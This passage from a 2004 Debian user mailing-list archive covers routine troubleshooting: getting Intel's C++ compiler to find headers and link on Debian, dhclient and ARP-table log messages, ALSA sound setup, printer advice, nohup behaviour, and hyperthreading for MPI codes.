(whereas a working icc, albeit on a RedHat box, gives:
 /lib/libc.so.6;ls -lt /lib/libc.so.6;ls -lt /lib/libc-2.3.2.so
GNU C Library stable release version 2.3.2, by Roland McGrath et al.
Copyright (C) 2003 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 3.2.2 20030222 (Red Hat Linux 3.2.2-5).
Compiled on a Linux 2.4.20 system on 2003-11-12.
Available extensions:
GNU libio by Per Bothner
crypt add-on version 2.1 by Michael Glad and others
linuxthreads-0.10 by Xavier Leroy
The C stubs add-on version 2.1.2.
BIND-8.2.3-T5B
NIS(YP)/NIS+ NSS modules 0.19 by Thorsten Kukuk
Glibc-2.0 compatibility add-on by Cristian Gafton
libthread_db work sponsored by Alpha Processor Inc
Thread-local storage support included.
Report bugs using the `glibcbug' script to <[EMAIL PROTECTED]>.
lrwxrwxrwx1 root root   13 Nov 17  2003 /lib/libc.so.6 
-> libc-2.3.2.so*
-rwxr-xr-x1 root root  1561228 Nov 13  2003 /lib/libc-2.3.2.so*


--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: intel compiler not finding (system) header files

2004-11-22 Thread michael
Kamaraju Kusumanchi wrote:
On Mon, 22 Nov 2004 16:55:49 +, michael
<[EMAIL PROTECTED]> wrote:
 

Folks, on my Debian dual-Xeon box, I have tried to install the Intel
C/C++ compiler (ifc). I have followed Intel's instructions in "Platform
   

ifc is intel fortran compiler. icc is the intel c/c++ compiler
 

However, when I try to compile code that has usual C++ headers in (eg
"#include ") it fails to find them.
I presume it's not looking in the default system libraries...
   

Did you set up the environment variables properly? I have the
following lines in my .bashrc for icc
# added the following lines for icc to work
if [ -f /opt/intel_cc_80/bin/iccvars.sh ]; then
source /opt/intel_cc_80/bin/iccvars.sh
fi
the iccvars.sh takes care of the necessary environment variables.
Ofcourse, the actual path for this file differs depending your
INSTALLDIR.
 

Ideas?
   

let us know if that works out for you.
\
yes I did all this! it's the C++ that seems to be causing problems when 
looking for header files (eg I compiled up all of mpich without problem)


--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: intel compiler not finding (system) header files

2004-11-23 Thread michael
Kamaraju Kusumanchi wrote:
yes I did all this! it's the C++ that seems to be causing problems when
looking for header files (eg I compiled up all of mpich without problem)
   


Ok. How about -cxxlib-icc option then?
$cat sizes.cpp
#include 
using namespace std;
int main() {
 cout << sizeof(char) << "\n";
 cout << sizeof(int) << "\n";
 cout << sizeof(float) << "\n";
 cout << sizeof(double) << "\n";
}
$icc -I /opt/intel_cc_80/include/c++/ -cxxlib-icc sizes.cpp
$./a.out
1
4
4
8
Dont know if it works for you. But worth giving a try.
raju
 

Raju et al - here's what I get (below)... ie by adding -cxxlib-icc (no 
need for the -I/...intel.../lib) it does indeed work. So what is this 
telling us? I guess it's saying all the stuff is there but plain 'icc' 
doesn't know where to look (but I thought it should!)

Michael
[EMAIL PROTECTED]:/tmp$ icc sizes.cpp
sizes.cpp(1): catastrophic error: could not open source file "iostream"
 #include 
^
compilation aborted for sizes.cpp (code 4)
[EMAIL PROTECTED]:/tmp$ icc -cxxlib-icc sizes.cpp
[EMAIL PROTECTED]:/tmp$ ./a.out
1
4
4
8
[EMAIL PROTECTED]:/tmp$

--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: intel compiler not finding (system) header files

2004-11-23 Thread michael
michael wrote:
Kamaraju Kusumanchi wrote:
yes I did all this! it's the C++ that seems to be causing problems when
looking for header files (eg I compiled up all of mpich without problem)
  

Ok. How about -cxxlib-icc option then?
$cat sizes.cpp
#include 
using namespace std;
int main() {
 cout << sizeof(char) << "\n";
 cout << sizeof(int) << "\n";
 cout << sizeof(float) << "\n";
 cout << sizeof(double) << "\n";
}
$icc -I /opt/intel_cc_80/include/c++/ -cxxlib-icc sizes.cpp
$./a.out
1
4
4
8
Dont know if it works for you. But worth giving a try.
raju
 

Raju et al - here's what I get (below)... ie by adding -cxxlib-icc (no 
need for the -I/...intel.../lib) it does indeed work. So what is this 
telling us? I guess it's saying all the stuff is there but plain 'icc' 
doesn't know where to look (but I thought it should!)

Michael
[EMAIL PROTECTED]:/tmp$ icc sizes.cpp
sizes.cpp(1): catastrophic error: could not open source file "iostream"
 #include 
^
compilation aborted for sizes.cpp (code 4)
[EMAIL PROTECTED]:/tmp$ icc -cxxlib-icc sizes.cpp
[EMAIL PROTECTED]:/tmp$ ./a.out
1
4
4
8
[EMAIL PROTECTED]:/tmp$


Arh, it's worse than we thought Jim: it's not just header files but more 
than seems to be broken, as shown by this linking stage:

icc -o nctst -g -O2 -Vaxlib nctst.o libnetcdf_c++.a -L../libsrc -lnetcdf
icc: Command line warning: ignoring option '-V'; no argument required
nctst.o(.text+0x4d): In function `gen(char const*, int)':
/opt/intel_cc_80/include/c++/xlocnum:1088: undefined reference to 
`std::cerr'
nctst.o(.text+0x335): In function `gen(char const*, int)':
/opt/intel_cc_80/include/c++/ostream:212: undefined reference to `std::cerr'
nctst.o(.text+0x44f): In function `dumpatts(NcVar&)':
/home/michael/src/netcdf-3_6_0-beta6/src/cxx/nctst.cpp:155: undefined 
reference
to `std::cout'
nctst.o(.text+0x491):/home/michael/src/netcdf-3_6_0-beta6/src/cxx/nctst.cpp:157: 
undefined reference to `std::cout'


--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: icc C++ problems on Debian 2.4.27-1-686-smp

2004-11-23 Thread michael
Jan-Benedict Glaw wrote:
On Tue, 2004-11-23 21:40:52 +, michael <[EMAIL PROTECTED]>
wrote in message <[EMAIL PROTECTED]>:
 

[EMAIL PROTECTED]:/tmp$ cat sizes.cpp
#include 
using namespace std;
int main() {
cout << sizeof(char) << "\n";
cout << sizeof(int) << "\n";
cout << sizeof(float) << "\n";
cout << sizeof(double) << "\n";
}
[EMAIL PROTECTED]:/tmp$ g++ sizes.cpp
[EMAIL PROTECTED]:/tmp$ gcc sizes.cpp
/tmp/ccmtmIBv.o(.text+0x1b): In function `main':
: undefined reference to `std::cout'
   

[...]
You shouldn't expect a C++ program to link without the stdc++ library.
 

I just need this compiler up and working for a package I need to 
evaluate so any help would be most welcome. Thanks, Michael
   

Your program is written in C++. So why do you expect gcc (which is a C
compiler) to compile it? Would you expect a Pascal compiler to build a
Fortran program? So if you need to build C++ code, use a C++ compiler,
like g++.
MfG, JBG
d'oh - i must be asleep today since I
a) assumed gcc was like icc and was both C & C++
b) thus misread the combined gcc/g++ man page's first line
c) should have known the difference!
Anyway, it's obviously a dead end in trying to solve the actual 
problem... (getting a working installation of Intel icc (for C++) on Debian)

cheers, michael

--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: icc C++ problems on Debian 2.4.27-1-686-smp

2004-11-23 Thread michael
michael wrote:
Al Stone wrote:
On Tue, 2004-11-23 at 13:02 +, michael wrote:
Folks - this is essentially a question of how to install Intel 
compilers on a Debian box, something I would think is solved but...

Um, no, I doubt it is solved.  AFAIK, Intel does not
officially support Debian.

[snip]

I have just installed 'testing' on my dual Xeon. I downloaded a 
suitable SMP kernel from backports. Thus I have:

[EMAIL PROTECTED]:~/src/netcdf-3_6_0-beta6/src$ uname -a
Linux ratty 2.4.27-1-686-smp #1 SMP Fri Sep 3 06:34:36 UTC 2004 i686 
GNU/Linux

I need to use the Intel compilers. (I should add that I've not had 
any of the below problems when I installed the Intel C/C++ and 
Fortran compilers on a RedHat box.) I followed Intel's instructions 
as per their "Platform Notes: Using Intel C++ Compiler on 
Unsupported Operating Systems". (This was essentially using 'alien' 
to convert rpm->deb, then dpkg and then sed INSTALLDIR to the name 
of the actual install directory for all .sh scripts)

Things looked fine. I compiled up 'mpich' and have used.

Personally, I haven't had much luck with the alien conversion
working properly.  I don't think it's so much a problem with
alien as it is with the way the Intel installation scripts work.
I'm doing this from memory, so it may be not quite right, but
I've found the most reliable way of installing the Intel compilers
to be this:
   -- 'apt-get install rpm' and then 'rpm -initdb' so that
  rpm thinks it's behaving properly.
   -- untar the Intel stuff.
   -- fix install.sh.  There's a test in the script (RPM_NOT_FOUND?)
  that relies on 'rpm -qa' working in a way that is, um, highly
  unlikely to work on Debian systems.  If you run ./install.sh
  it'll pop out a message about this being an unsupported install
  that's pretty easy to find in the script.  If you comment out
  the test that causes that message to be displayed (it's in one
  small shell function that I don't recall the name of), the 
  install will work just fine.

It seems that whenever I've done the install any other way, I've ended
up with the problems you note -- the compiler not being able to find
header files and such.
Hope this helps...
[much stuff snipped]
Help!
Thanks, Michael, Atmospheric Physics Group, Univ of Manchester (UK)

Not sure if this is related but discovered this for gcc/g++ -- any 
ideas what it means??

[snip]
forget that! I was presuming gcc would handle C++ (aka icc can) - 
half-asleep or what?

anyhow, of more import is that on my home machine I have followed 
Intel's instructions and it worked fine, whereas it doesn't on my work 
machine. I'll look into the differences more (eg they are different 
kernels -- the latter (non-working) is
Linux ratty 2.4.27-1-686-smp #1 SMP Fri Sep 3 06:34:36 UTC 2004 i686 
GNU/Linux
from backports) and post again when I've a clearer idea what the 
real/actual problem is.

Thanks, Michael



--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Laser Printer

2004-11-24 Thread michael
Anthony Campbell wrote:
On 24 Nov 2004, Peter Robinson wrote:
Hi,
I am looking to buy a laser printer in the range of 200-250 Euro and
would like to get one that will work under Debian without all too much
fuss. From the specs and the price, Lexmark E232t is looking pretty
nice. Has anyone set this up under a testing Debian system? Can this (or
another printer) be recommended?
Thankx
peter


I'd steer clear of Brother, at least the cheaper models. I had a Brother
1040 for a time which was good when it worked but eventually the drums
started failing; I went through 5, all of which stopped working after
about 20 pages. I therefore gave up and replaced it with a Kyocera Mita
FS1010, which is fine and has the advantage that you never have to
replace the drum! The toner seems to last a long time too. 

It works well with Linux (Sid); CUPS is OK but I find magicfilter
better, using the ljet4 filter.
Anthony
While we're on printers, anybody tried (successfully or not) the 
Panasonic KX-P7305 or KX-P7310?

Michael
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



syslog msgs: dhclient & n'bour table overflow

2004-11-24 Thread michael
I get the following many, many times (not necessarily together and many, 
many more of the latter) in my 'syslog' but can't see what I've not set up:

localhost dhclient: Option option-105 length 255 overflows input buffer.
localhost kernel: Neighbour table overflow.
Which HowTo have I missed? :)
Thanks, Michael
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



question over email policy

2004-11-24 Thread michael
maybe I've missed it, but is there a policy that stops emails to this 
list? eg I posted one earlier that had other To & Cc and a couple of 
small text attachments but it's not appeared, although one I sent later 
has. please advise, TIA Michael

--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: syslog msgs: dhclient & n'bour table overflow

2004-11-24 Thread michael
Henrique de Moraes Holschuh wrote:
On Wed, 24 Nov 2004, michael wrote:
localhost kernel: Neighbour table overflow.

Increase the ARP cache, or wait for 2.4.29, or get 2.6.10 :)
wow, there's 1024 such entries as below... is this correct??? (or have I 
not turned off something, or maybe cos I tried to find a printer on the 
network...?)

cheers, Michael
atty 2.4.27-1-386 #1 Fri Sep 3 06:24:46 UTC 2004 i686 GNU/Linux
[EMAIL PROTECTED]:/var/log$ sudo arp | head
Address  HWtype  HWaddress   Flags Mask 
   Iface
gh018.gh.man.ac.uk   ether   00:D0:D3:35:24:D8   C 
   eth0
130.88.87.226ether   00:D0:D3:35:24:D8   C 
   eth0
130.88.87.198ether   00:D0:D3:35:24:D8   C 
   eth0
130.88.87.171ether   00:D0:D3:35:24:D8   C 
   eth0
130.88.87.143ether   00:D0:D3:35:24:D8   C 
   eth0
130.88.87.112ether   00:D0:D3:35:24:D8   C 
   eth0
130.88.87.84 ether   00:D0:D3:35:24:D8   C 
   eth0
130.88.87.57 ether   00:D0:D3:35:24:D8   C 
   eth0
130.88.87.29 ether   00:D0:D3:35:24:D8   C 
   eth0

--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: syslog msgs: dhclient & n'bour table overflow

2004-11-24 Thread michael
Henrique de Moraes Holschuh wrote:
On Wed, 24 Nov 2004, michael wrote:
Increase the ARP cache, or wait for 2.4.29, or get 2.6.10 :)

Make that 2.4.28. I think the 2.6.10 dynamic ARP table sizing code went in
2.4.28.

wow, there's 1024 such entries as below... is this correct??? (or have I 

How big are the directly attached networks? If you have more than four
/24 networks connected to the box (or even a single /16 network), then you
*certainly* have to increase that cache size with any kernel below 2.4.28 or
2.6.9 (10?).
Please bear with me...
I'm sitting at a University so I've no idea how big the ''directly 
attached'' networks are. I've also no idea what ''/24'' or ''/16'' means 
in terms of networks!

The support here for Linux is minimal, as far as I can tell, but my box 
seems to be using dhcp but I do have a static IP number. Is that correct?

The network here has been known to be 'iffy'. Today I put a network 
printer onto my box (using LPD) and that involved an attempt, than 
hanged, to 'search the network for printers' -- and it's today that I've 
really noticed 'timeouts' etc (and 1000s of the above msgs in the logs)

HTH you to help me!
Thanks once again, Michael
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: icc C++ problems on Debian 2.4.27-1-686-smp

2004-11-24 Thread michael
Top posting since this is a bit different (but still related - so kept
original stuff for reference if needed)
** also note I've rebooted into the 'testing' 2.4.27-1-686 kernel (ie so
not to confuse issues with having downloaded the SMP kernel from backports)
1) I didn't use the netCDF .deb but rather downloaded the latest from
the UCAR web site (netcdf-3_6_0-beta6).
2) I think the initial issues I should sort out are relating to the
Intel 8.1 compilers (as opposed to netCDF)
3) I have two machines, say "home" and "work" which behave differently
when I do the same Intel compiler installation. (I'll give details of
the systems after describing the issues.) The Intel compiler
installation was following Intel's instructions (alien; dpkg; amend the
scripts)
4) For a simple C++ program
#include 
using namespace std;
int main() {
  cout << "sizeof(char)" << sizeof(char) << "\n";
  cout << "sizeof(int)" << sizeof(int) << "\n";
  cout << "sizeof(float)" << sizeof(float) << "\n";
  cout << "sizeof(double)" << sizeof(double) << "\n";
}
the "home" 'icc'
compiles, links and runs it without a problem and without the
requirement of additional compiler flags. However, the "work" 'icc'
requires the '-cxxlib-icc' flag, otherwise it produces the error
simple.cpp(1): catastrophic error: could not open source file "iostream"
The same is true if 'icpc' is used instead of 'icc'.
5) Linking seems another problem. This time the example is from (the
downloaded UCAR) netCDF, but it's a question about the Intel compilers.
It seems that you have to use 'icpc' and not 'icc' (fair enough!) but
the former still only works on my "home" machine, whereas on "work" the
first few errors are:
[EMAIL PROTECTED]:~/src/netcdf-3_6_0-beta6/src/cxx$ icpc -o nctst -g -O2
nctst.o libnetcdf_c++.a -L../libsrc -lnetcdf 2>&1 | less
nctst.o(.text+0xa3a): In function `__sti__$E':
/opt/intel_cc_80/include/c++/iostream:38: undefined reference to
`std::_Winit::_Winit()'
nctst.o(.text+0xa49):/opt/intel_cc_80/include/c++/iostream:38: undefined
reference to `std::_Winit::~_Winit()'
nctst.o(.gnu.linkonce.t._ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_+0x2d): 

In function `std::basic_ostream >&
std::endl >(std::basic_ostream
std::char_traits >&)':
/opt/intel_cc_80/include/c++/xlocnum:1081: undefined reference to
`std::_Atomic_counter::operator++()'
nctst.o(.gnu.linkonce.t._ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_+0x57):/opt/intel_cc_80/include/c++/xlocnum:1223: 

undefined reference to `std::_Atomic_counter::operator--()'
ie lots of 'undefined references'
The full outputs are available in the directory online at
http://cloudbase.phy.umist.ac.uk/people/bane/tmp
as [compiler]-[machine].out
I am therefore thinking that something (gcc/g++?) isn't quite right on
the "work" machine but I'm not really sure where to start looking so
your expert advice is most welcome.
As an initial stab, here's what "home" and "work" are like which does
show different versions of GNU compilers (and kernel) but I am not
convinced this is necessarily the actual problem (ie it's deeper).
"home" (ie the one that compiles it okay)
[EMAIL PROTECTED]:~/tmp/netcdf-3_6_0-beta6/src/cxx$ uname
-a;gcc --version;g++ --version
Linux manchester-campaigns 2.4.18-bf2.4 #1 Son Apr 14 09:53:28 CEST 2002
i686 GNU/Linux
2.95.4
2.95.4
"work" (ie the one with problems):
[EMAIL PROTECTED]:~/tmp$ uname -a;gcc --version;g++ --version
Linux ratty 2.4.27-1-386 #1 Fri Sep 3 06:24:46 UTC 2004 i686 GNU/Linux
gcc (GCC) 3.3.4 (Debian 1:3.3.4-13)
Copyright (C) 2003 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
g++ (GCC) 3.3.4 (Debian 1:3.3.4-13)
Copyright (C) 2003 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Hi Michael,
I've cc'd this to Brian Mays, who is the netcdf package maintainer according 
to the control file.  Brian, the version of netcdf I am referring to is from 
Debian/testing, 3.5.0-7.1.  Michael is trying to compile netcdf using Intel 
compilers instead of GNU ones.

Anyway...
I downloaded netcdf and gave it a go.  I haven't used icc before apart from 
compiling mpich, so this was a learning experience for me too :).  mpich 
worked out of the box with icc as both the C and C++ compilers, but I suspect 
that in mpich there's no

Re: question over email policy

2004-11-24 Thread michael
> On Wed, Nov 24, 2004 at 03:42:08PM + or thereabouts, michael wrote:
>> maybe I've missed it, but is there a policy that stops emails to this
>> list? eg I posted one earlier that had other To & Cc and a couple of
>> small text attachments but it's not appeared, although one I sent later
>> has. please advise, TIA Michael
>
> I don't belive this list accepts e-mail attachments (which is a good
> thing).

I agree (I mistakenly saw 'attachments' in my incoming but now think
that's how certain emails get handled)

> So, if you sent an e-mail with attachments, it probably was dropped.

Indeed, and I reposted with web link instead. Was surprized, however, that
no auto-response telling me not to bother with attachments but I guess
that's so spammers/viral agents don't get the honour of a reply.

O&O

Michael


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: nohup command

2004-11-25 Thread michael
Olive Esseret wrote:
On Thu, Nov 25, 2004 at 04:59:29AM -0800, Olive
Esseret wrote:
--- Olive Esseret <[EMAIL PROTECTED]> wrote:

Hello,
I want to configure bash in order that
background
process remains alive if we close the windows
from
which we have lauched the process (this would be
especially usefull for X applications: if I
lauch
emacs& ; I do not want that closing the xterm
windows
close emacs). I have tried the 
shopt -u huponexit 
option but it does not work for nacground
process:
shopt -u huponexit
emacs&
then if we close the xterm window; emacs will
quit.
I can manually disown the process:
emacs& disown
but would it possible to have that
automatically?
Olive
NOHUP(1) User Commands  
NOHUP(1)

NAME
  nohup - run a command immune to hangups, with
output to a non-tty
SYNOPSIS
  nohup COMMAND [ARG]...
  nohup OPTION
DESCRIPTION
  Run COMMAND, ignoring hangup signals.
  --help display this help and exit
  --version
 output version information and exit

Yes I knew this command but it does not works in all
case: try (in X)
nohup emacs&
then close the xterm and you will see that emacs will
be closed! 
It behaves as expected (ie emacs keeps running) when I do it!
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: icc C++ problems on Debian 2.4.27-1-686-smp

2004-11-25 Thread michael
Aha! Debian bug 272401 (see 
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=272401) - and it 
related not to said kernel but to g++-3.3) seems to be the  reason I 
could not get icpc to work on my Debian box. My workaround (not a proper 
solution) is to

cd /usr/include/c++ ; ln -s 3.3 3.3.4
and then all (well all my current!) problems disappear. I also picked up 
that one should really, really, really be using icpc and not icc to 
compile C++ codes since they do operate in different ways.

I guess the lesson learned is to "always check the BTS" first!
(Of course the above will give problems if/when g++ is upgraded!)
Michael
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



alsa: missing dependencies

2004-12-03 Thread michael
I'm still trying to get my sound card working and would value your help.
The package the card came in says it's a "Creative Soundblaster Live! 24
bit" but `lspci -v` gives

:04:04.0 Multimedia audio controller: Creative Labs SB Audigy LS
Subsystem: Creative Labs: Unknown device 1006
Flags: bus master, medium devsel, latency 64, IRQ 21
I/O ports at e480 [size=32]
Capabilities: 

I've run `alsaconf` but it gives errors (below) and I don't know what to
do next so all help welcome

[EMAIL PROTECTED]:$ sudo alsaconf
Building card database..


Running update-modules...
depmod: *** Unresolved symbols in
/lib/modules/2.4.27-1-686-smp/updates/alsa/snd-pdaudiocf.o
depmod: *** Unresolved symbols in
/lib/modules/2.4.27-1-686-smp/updates/alsa/snd-vx-cs.o
depmod: *** Unresolved symbols in
/lib/modules/2.4.27-1-686-smp/updates/alsa/snd-vxp440.o
depmod: *** Unresolved symbols in
/lib/modules/2.4.27-1-686-smp/updates/alsa/snd-vxpocket.o
Loading driver...
Starting ALSA.../etc/init.d/alsa: Error: alsactl restore failed with
message 'alsactl: load_state:1134: No soundcards found...'.
done.
Setting default volumes...
Saving the mixer setup used for this in /var/lib/alsa/asound.state.
/usr/sbin/alsactl: save_state:1061: No soundcards found...

===

 Now ALSA is ready to use.
 For adjustment of volumes, use your favorite mixer.

 



-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



sound/alsa: missing dependencies

2004-12-05 Thread michael
I'm still trying to get my sound card working and would value your help.
The package the card came in says it's a "Creative Soundblaster Live! 24
bit" but `lspci -v` gives

:04:04.0 Multimedia audio controller: Creative Labs SB Audigy LS
Subsystem: Creative Labs: Unknown device 1006
Flags: bus master, medium devsel, latency 64, IRQ 21
I/O ports at e480 [size=32]
Capabilities: 

I've run `alsaconf` but it gives errors (below) and I don't know what to
do next so all help welcome

[EMAIL PROTECTED]:$ sudo alsaconf
Building card database..


Running update-modules...
depmod: *** Unresolved symbols in
/lib/modules/2.4.27-1-686-smp/updates/alsa/snd-pdaudiocf.o
depmod: *** Unresolved symbols in
/lib/modules/2.4.27-1-686-smp/updates/alsa/snd-vx-cs.o
depmod: *** Unresolved symbols in
/lib/modules/2.4.27-1-686-smp/updates/alsa/snd-vxp440.o
depmod: *** Unresolved symbols in
/lib/modules/2.4.27-1-686-smp/updates/alsa/snd-vxpocket.o
Loading driver...
Starting ALSA.../etc/init.d/alsa: Error: alsactl restore failed with
message 'alsactl: load_state:1134: No soundcards found...'.
done.
Setting default volumes...
Saving the mixer setup used for this in /var/lib/alsa/asound.state.
/usr/sbin/alsactl: save_state:1061: No soundcards found...


 




-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: sound/alsa: missing dependencies

2004-12-06 Thread michael
On Sun, 2004-12-05 at 18:02, Thomas Hood wrote:
> On Sun, 05 Dec 2004 16:10:10 +0100, michael wrote:
> > I've run `alsaconf` but it gives errors (below)
> 
> 
> There is a problem with the alsa-modules package in the archive.  You
> need to build your own alsa-modules package from alsa-source using
> make-kpkg.

Am new to this so pls bear with me. I did a 'apt-get install
alsa-source' and it asked a few questions (which soundcard). But what do
I do next? Here's the output:
[EMAIL PROTECTED]:/tmp$ sudo apt-get install alsa-source
Reading Package Lists... Done
Building Dependency Tree... Done
Suggested packages:
  devscripts
Recommended packages:
  kernel-package
The following NEW packages will be installed:
  alsa-source
0 upgraded, 1 newly installed, 0 to remove and 39 not upgraded.
Need to get 1862kB of archives.
After unpacking 1896kB of additional disk space will be used.
Get:1 http://ftp.uk.debian.org testing/main alsa-source 1.0.6a-11
[1862kB]
Fetched 1862kB in 10s (176kB/s)
Preconfiguring packages ...
Selecting previously deselected package alsa-source.
(Reading database ... 97211 files and directories currently installed.)
Unpacking alsa-source (from .../alsa-source_1.0.6a-11_all.deb) ...
Setting up alsa-source (1.0.6a-11) ...



-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



dhclient errors

2004-12-06 Thread michael
Pretty much once a day I get the following in syslog... any ideas on
what causes it or how to determine whether it's a problem? thanks,
Michael


Dec  6 09:12:24 localhost dhclient: Option option-105 length 255
overflows input buffer.
Dec  6 09:12:24 localhost dhclient: Option option-105 length 255
overflows input buffer.
Dec  6 09:12:24 localhost dhclient: Option option-114 length 255
overflows input buffer.
Dec  6 09:12:24 localhost dhclient: Option option-105 length 255
overflows input buffer.
Dec  6 09:12:24 localhost dhclient: Option option-105 length 255
overflows input buffer.
Dec  6 09:12:24 localhost dhclient: Option option-114 length 255
overflows input buffer.



-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



OT? hypertread on or off for SMP kernel

2004-12-09 Thread michael
Hi - I've had a quick look on the WWW but can't find much of help. I've
a dual Xeon box running testing and kernel from backports:
[EMAIL PROTECTED]:~$ uname -a
Linux r 2.4.27-1-686-smp #1 SMP Fri Sep 3 06:34:36 UTC 2004 i686
GNU/Linux

The SMP kernel does indeed make use of the processors available: 2 if
hyperthreading (HT) is off and 4 if it is on.

My questions are:
a) for MPI codes (mpich v1.2.6 compiled with Intel 8.1 compilers), under
which circumstances is better performance achieved with HT on or off?
I'm looking for quite a detailed analysis which, if hasn't already been
done, I can kick off if anybody's interested

b) for general day to day running do people leave HT on or turn it off?

Thanks in advance,
Michael, Atmospheric Research Group (Arg), Univ of Manchester



-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: OT? hypertread on or off for SMP kernel

2004-12-09 Thread michael
On Thu, 2004-12-09 at 12:53, Ron Johnson wrote:
> On Thu, 2004-12-09 at 11:48 +0000, michael wrote:
> > Hi - I've had a quick look on the WWW but can't find much of help. I've
> > a dual Xeon box running testing and kernel from backports:
> > [EMAIL PROTECTED]:~$ uname -a
> > Linux r 2.4.27-1-686-smp #1 SMP Fri Sep 3 06:34:36 UTC 2004 i686
> > GNU/Linux
> > 
> > The SMP kernel does indeed make use of the processors available: 2 if
> > hyperthreading (HT) is off and 4 if it is on.
> > 
> > My questions are:
> > a) for MPI codes (mpich v1.2.6 compiled with Intel 8.1 compilers), under
> > which circumstances is better performance achieved with HT on or off?
> > I'm looking for quite a detailed analysis which, if hasn't already been
> > done, I can kick off if anybody's interested
> > 
> > b) for general day to day running do people leave HT on or turn it off?
> 
> How threaded are your apps?  Or, maybe, how many apps do you run
> at once?
> 
> On Windows benchmarks, at least, performance of non-threaded apps
> drops when HT is turned on.

The apps in question are MPI Fortran/C codes and I can say at run time
how many processors (threads) I require. Thus for my dual Xeon I could
have HT off and go up to 2 processors. But is it worth switching HT back
on and going to 4 (logical) processors, that is my main question. I
believe the answer is "depends on the nature of your codes" and I'm
interested in hearing if anybody has studied this (eg with known memory
intensive, compute intensive, comms intensive code kernels (not linux
kernels!)). If not, I'm happy to kick this off as a low priority
project. I've also posed this question to comp.parallel.mpi so if people
are interested I can summarize any results/answers here.

Thanks, Michael


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: OT? hypertread on or off for SMP kernel

2004-12-09 Thread michael
On Thu, 2004-12-09 at 13:59, Paolo Alexis Falcone wrote:
> On Thu, 09 Dec 2004 13:15:00 +0000, michael
> <[EMAIL PROTECTED]> wrote:
> > On Thu, 2004-12-09 at 12:53, Ron Johnson wrote:
> > 
> > 
> > > On Thu, 2004-12-09 at 11:48 +, michael wrote:
> > > > Hi - I've had a quick look on the WWW but can't find much of help. I've
> > > > a dual Xeon box running testing and kernel from backports:
> > > > [EMAIL PROTECTED]:~$ uname -a
> > > > Linux r 2.4.27-1-686-smp #1 SMP Fri Sep 3 06:34:36 UTC 2004 i686
> > > > GNU/Linux
> > > >
> > > > The SMP kernel does indeed make use of the processors available: 2 if
> > > > hyperthreading (HT) is off and 4 if it is on.
> > > >
> > > > My questions are:
> > > > a) for MPI codes (mpich v1.2.6 compiled with Intel 8.1 compilers), under
> > > > which circumstances is better performance achieved with HT on or off?
> > > > I'm looking for quite a detailed analysis which, if hasn't already been
> > > > done, I can kick off if anybody's interested
> > > >
> > > > b) for general day to day running do people leave HT on or turn it off?
> > >
> > > How threaded are your apps?  Or, maybe, how many apps do you run
> > > at once?
> > >
> > > On Windows benchmarks, at least, performance of non-threaded apps
> > > drops when HT is turned on.
> > 
> > The apps in question are MPI Fortran/C codes and I can say at run time
> > how many processors (threads) I require. Thus for my dual Xeon I could
> > have HT off and go up to 2 processors. But is it worth switching HT back
> > on and going to 4 (logical) processors, that is my main question. I
> > believe the answer is "depends on the nature of your codes" and I'm
> > interested in hearing if anybody has studied this (eg with known memory
> > intensive, compute intensive, comms intensive code kernels (not linux
> > kernels!)). If not, I'm happy to kick this off as a low priority
> > project. I've also posed this question to comp.parallel.mpi so if people
> > are interested I can summarize any results/answers here.
> 
> Traditional SMP architecture features processors each with its own set
> of caches, execution resources, and buses. You won't have much
